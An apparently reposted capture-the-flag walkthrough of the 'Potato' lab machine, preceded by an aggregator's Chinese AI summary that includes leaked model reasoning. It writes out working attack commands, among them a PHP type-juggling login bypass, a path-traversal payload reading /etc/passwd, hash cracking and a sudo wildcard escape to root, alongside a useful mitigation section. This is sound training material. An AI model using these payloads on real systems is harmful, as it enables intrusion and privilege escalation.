OffSec Proving Grounds — Potato
嗯,用户让我总结这篇文章的内容,控制在100字以内,而且不需要特定的开头。首先,我需要通读整篇文章,抓住主要信息。 文章讲的是一个叫做Potato的Linux机器渗透测试过程。看起来这是一个练习靶机,难度为Easy。主要的攻击链包括PHP类型混淆绕过登录、匿名FTP泄露源代码、本地文件包含读取/etc/passwd、破解MD5密码哈希以及利用sudo通配符提升权限到root。 我需要把这些关键点浓缩到100字以内。确保涵盖主要的技术点和最终目标。同时,语言要简洁明了,不需要复杂的句子结构。 可能的结构是:首先介绍靶机和攻击链,然后列举关键步骤,最后提到最终目标是获取root权限。 检查一下字数是否在限制内,确保没有遗漏重要信息。 </think> 文章描述了通过PHP类型混淆绕过登录、匿名FTP获取源代码、本地文件包含读取`/etc/passwd`、破解MD5密码哈希以及利用sudo通配符漏洞最终获取root权限的过程。 2026-3-19 04:57:11 Author: infosecwriteups.com(查看原文) 阅读量:9 收藏

Roshan Rajbanshi

From PHP Type Juggling to Root

Difficulty: Easy OS: Linux (Ubuntu 20.04) Date: March 13, 2026

Introduction

Potato is an Easy-rated Linux machine on OffSec Proving Grounds (Play). On the surface, it looks like a two-port box with a dead web page — and honestly, if you only run a quick scan, you’ll spend a lot of time going in circles. The real lesson here is enumeration. Always run a full port scan. Port 2112 is always there, and without it, everything falls apart.

The box chains together a few classic weaknesses: PHP type juggling to get past the login, anonymous FTP leaking a source code backup, LFI to pull /etc/passwd, a crackable MD5 hash, and a sudo wildcard that hands you root. Nothing here is cutting-edge, but it's a solid box for building the habit of being methodical and not skipping steps.

Press enter or click to view image in full size

Table of Contents

┌─────────────────────────────────────────────────────────┐
│ TABLE OF CONTENTS │
├─────────────────────────────────────────────────────────┤
│ 1. Reconnaissance │
│ 2. Web Enumeration │
│ 3. PHP Type Juggling — Login Bypass │
│ 4. Admin Dashboard Exploration │
│ 5. FTP on Port 2112 — Source Code Disclosure │
│ 6. Local File Inclusion (LFI) │
│ 7. Password Cracking │
│ 8. Initial Access via SSH │
│ 9. Privilege Escalation — Sudo Wildcard Escape │
│ 10. Defense & Mitigation │
│ 11. Summary │
└─────────────────────────────────────────────────────────┘

Attack Chain

Recon → Dir Enum → PHP Type Juggling Login Bypass
→ Admin Dashboard → FTP Anonymous (Port 2112)
→ Source Code Disclosure → LFI (6x Path Traversal)
→ /etc/passwd Read → MD5crypt Hash Crack
→ SSH Access → Sudo Wildcard Escape → ROOT

1. Reconnaissance

Standard starting point — Nmap with service detection and scripts:

nmap -Pn -sC -F -A <TARGET>

Results:

PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Potato company

Two ports. SSH and a web server. Nothing exciting yet. While we poke at the web side, kick off a full port scan in the background — this one matters:

nmap -Pn -p- --min-rate 10000 --max-retries 2 <TARGET>

This is what eventually surfaces on port 2112, which is the turning point of the whole box. Don’t skip it.

2. Web Enumeration

Hitting the root gives us a placeholder page — “under construction,” potato photo, nothing useful. We run Gobuster while looking around:

gobuster dir -u http://<TARGET> \
-w /usr/share/dirb/wordlists/common.txt \
-x php,txt,html

Results:

/admin    (Status: 301) [--> http://<TARGET>/admin/]
/index.php (Status: 200)

/admin/ redirects to a login page. Curling it shows a simple form of posting to index.php?login=1:

curl -s http://<TARGET>/admin/
<form action="index.php?login=1" method="POST">
<input type="text" name="username" required>
<input type="password" name="password" required>
</form>

3. PHP Type Juggling — Login Bypass

Default creds don’t work. Basic SQLi doesn’t work either. But the login is built with PHP’s strcmp() — and that's a problem.

Get Roshan Rajbanshi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

When you pass an array instead of a string to strcmp(), PHP returns NULL. Under loose comparison (==), NULL == 0 is TRUE. That's it — the authentication check passes without a valid password.

curl -s -X POST "http://<TARGET>/admin/index.php?login=1" \
-d "username=admin&password[]=1" -L -c /tmp/cookies.txt

Response:

Welcome! </br> Go to the <a href="dashboard.php">dashboard</a>

We’re in. Cookie saved.

Why this works: strcmp($array, $string) returns NULL. NULL == 0 is TRUE under loose comparison. The fix is === (strict comparison) or validating that the input is actually a string before touching it.

4. Admin Dashboard Exploration

The dashboard has four pages worth looking at:

Home | Users | Date | Logs | Ping

A few things stand out immediately:

  • Logs — takes a POST parameter file and displays its contents. Classic LFI setup.
  • Ping — runs a live ping to 8.8.8.8. Potential command injection, though it ignores custom input.
  • Date — shows system time via a shell call.
  • Cookie — after login, the app sets a cookie named pass and puts the actual plaintext password in it via setcookie('pass', $pass, ...).

Press enter or click to view image in full size

That last point means we can just read the cookie to get the current admin password:

curl -s -X POST "http://<TARGET>/admin/index.php?login=1" \
-d "username=admin&password[]=1" -L -c /tmp/cookies_real.txt -v 2>&1 \
| grep -i "set-cookie"
Set-Cookie: pass=<REDACTED>

The cookie value is the live password. We’ll need it for the LFI step.

5. FTP on Port 2112 — Source Code Disclosure

The full port scan comes back with port 2112 open. A targeted scan tells us exactly what’s there:

nmap -Pn -p 2112 -sV -sC <TARGET>
2112/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 901 Aug 2 2020 index.php.bak
|_-rw-r--r-- 1 ftp ftp 54 Aug 2 2020 welcome.msg

ProFTPD with anonymous login allowed, and a .bak file sitting in the root. We grab it:

ftp -n <TARGET> 2112 <<EOF
user anonymous anonymous
get index.php.bak
get welcome.msg
bye
EOF

index.php.bak is the source code of the admin login page:

<?php
$pass= "potato"; //note Change this password regularly
if($_GET['login']==="1"){
if (strcmp($_POST['username'], "admin") == 0
&& strcmp($_POST['password'], $pass) == 0) {
echo "Welcome!";
setcookie('pass', $pass, time() + 365*24*3600);
} else {
echo "<p>Bad login/password!</p>";
}
exit();
}
?>

This confirms everything — the strcmp() vulnerability, the plaintext cookie, and the fact that the original password was potato (since changed, which is why that didn't work earlier). The cookie we pulled in step 4 is the current live password.

6. Local File Inclusion (LFI)

The Logs page passes the file POST parameter straight into a file read with no sanitization. Standard ../../../etc/passwd returns empty — the read is relative to a deeper subdirectory. After testing different depths, 6 levels ../ is what it takes:

curl -s -X POST "http://<TARGET>/admin/dashboard.php?page=log" \
-H "Cookie: pass=<REDACTED>" \
--data-raw "file=../../../../../../etc/passwd"

/etc/passwd output:

root:x:0:0:root:/root:/bin/bash
...
florianges:x:1000:1000:florianges:/home/florianges:/bin/bash
webadmin:<HASH>:1001:1001:webadmin,,,:/home/webadmin:/bin/bash

Two users with login shells. More importantly, webadmin’s password hash is sitting right there in /etc/passwd, not in /etc/shadow where it belongs. That's a serious misconfiguration, and it means anyone who can read the file can grab the hash.

Press enter or click to view image in full size

7. Password Cracking

The $1$ prefix means this is an MD5crypt hash — old and fast to crack. We throw it at John with rockyou:

echo 'webadmin:<HASH>' > /tmp/hash.txt
john /tmp/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result:

<CRACKED>           (webadmin)
1g 0:00:00:00 DONE — 1.886g/s

Done in under a second. That’s the danger of MD5crypt — it was designed for an era when cracking was slow. On modern hardware, it offers almost no resistance.

8. Initial Access via SSH

ssh webadmin@<TARGET>
# Password: <REDACTED>
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
webadmin@serv:~$

Shell as webadmin.

9. Privilege Escalation — Sudo Wildcard Escape

First thing after landing — check sudo:

sudo -l
User webadmin may run the following commands on serv:
(ALL : ALL) /bin/nice /notes/*

Press enter or click to view image in full size

The intent is clear — webadmin can run /bin/nice on files inside /notes/. But the wildcard * doesn't block path traversal. The OS resolves ../ after sudo does its pattern match, so we can walk straight out of /notes/ into anywhere on the filesystem:

sudo /bin/nice /notes/../bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

Root. The path /notes/../bin/sh resolves to /bin/sh. Sudo saw it match /notes/* and allowed it. The OS then resolved the traversal and ran /bin/sh as root.

10. Defense & Mitigation

10.1 PHP Type Juggling (Login Bypass)

Issue Fix strcmp() with == loose comparison Use === strict comparison No input type validation. Validate that the input is a string before comparing the array accepted as the password field. Add is_string() a check on all form inputs

// Vulnerable
if (strcmp($_POST['password'], $pass) == 0)
// Fixed
if (is_string($_POST['password']) && hash_equals($pass, $_POST['password']))

10.2 Sensitive Data in Cookies

Storing the password in a cookie is an obvious but surprisingly common mistake. Any attacker who can intercept traffic or access browser storage gets the plaintext password immediately.

// Vulnerable — never do this
setcookie('pass', $pass, time() + 365*24*3600);
// Fixed — use server-side sessions
session_start();
$_SESSION['authenticated'] = true;
$_SESSION['user'] = $username;

Sessions keep a sensitive state server-side. The client only ever sees a random session ID.

10.3 Anonymous FTP Exposing Source Code

Two issues here: anonymous FTP was enabled, and a .bak source file was left in the FTP root. Either one alone is bad. Together, they hand the entire application logic to an unauthenticated attacker.

  • Disable anonymous FTP if it is not needed:
# /etc/proftpd/proftpd.conf
# Remove or comment out the <Anonymous> block entirely
  • Never leave backup files (.bak, .old, .orig) in any directory accessible over FTP or HTTP.
  • Audit FTP directories regularly for leftover files.

10.4 Local File Inclusion (LFI)

The file parameter is passed directly to a file read with no sanitization:

// Vulnerable
$content = file_get_contents($_POST['file']);
// Fixed — strict whitelist
$allowed = ['log_01.txt', 'log_02.txt', 'log_03.txt'];
if (!in_array($_POST['file'], $allowed, true)) {
die("Access denied");
}
$content = file_get_contents('/var/www/html/admin/logs/' . $_POST['file']);

Additional layers:

  • Use basename() to strip any directory components from user input
  • Lock down the web server user (www-data) with strict filesystem permissions
  • Set PHP’s open_basedir to restrict which directories PHP can read from

10.5 Password Hash in /etc/passwd

/etc/passwd is world-readable by design — every user on the system can read it. Password hashes belong in /etc/shadow, which is readable only by root.

# Check for hashes sitting in /etc/passwd
awk -F: '$2 != "x" && $2 != "*" && $2 != "!" {print $1}' /etc/passwd
# Migrate to shadow passwords
pwconv
chmod 640 /etc/shadow
chown root:shadow /etc/shadow

And stop using MD5crypt. It has been broken for decades. Use SHA-512 at a minimum:

# /etc/login.defs
ENCRYPT_METHOD SHA512
SHA_CRYPT_MIN_ROUNDS 5000

10.6 Sudo Wildcard Escape

Wildcards in sudo rules are almost always a mistake. The pattern /notes/* feels restrictive, but it is not — path traversal turns it into unrestricted binary execution.

# Vulnerable
webadmin ALL=(ALL:ALL) /bin/nice /notes/*
# Fixed — list specific files explicitly
webadmin ALL=(ALL:ALL) /bin/nice /notes/report.txt
webadmin ALL=(ALL:ALL) /bin/nice /notes/status.txt

Better yet, question whether this sudo rule needs to exist at all. Ask yourself what webadmin actually needs, grant only that, and nothing more. Run sudo -l As each service account regularly has misconfigurations like this are easy to miss during setup and easy to catch during review.

11. Summary

┌──────────────────────────┬────────────────────────────────────┬───────────────┐
│ Step │ Technique │ Tool │
├──────────────────────────┼────────────────────────────────────┼───────────────┤
│ Port discovery │ Full TCP scan │ nmap │
│ Directory brute force │ Gobuster → /admin/ │ gobuster │
│ Auth bypass │ PHP strcmp() type juggling │ curl │
│ Source code leak │ Anonymous FTP + .bak file │ ftp │
│ LFI │ 6-level path traversal │ curl │
│ Credential extraction │ /etc/passwd hash read │ LFI │
│ Hash cracking │ MD5crypt → cracked │ john │
│ Initial access │ SSH as webadmin │ ssh │
│ Privilege escalation │ sudo wildcard escape via ../ │ sudo │
└──────────────────────────┴────────────────────────────────────┴───────────────┘

Vulnerabilities chained:

PHP Type Juggling → Source Code Disclosure → LFI
→ Weak Hashing → Weak Password → Sudo Misconfiguration

Rooted — OffSec PG Play | March 2026


文章来源: https://infosecwriteups.com/offsec-proving-grounds-potato-b080d38b4bed?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh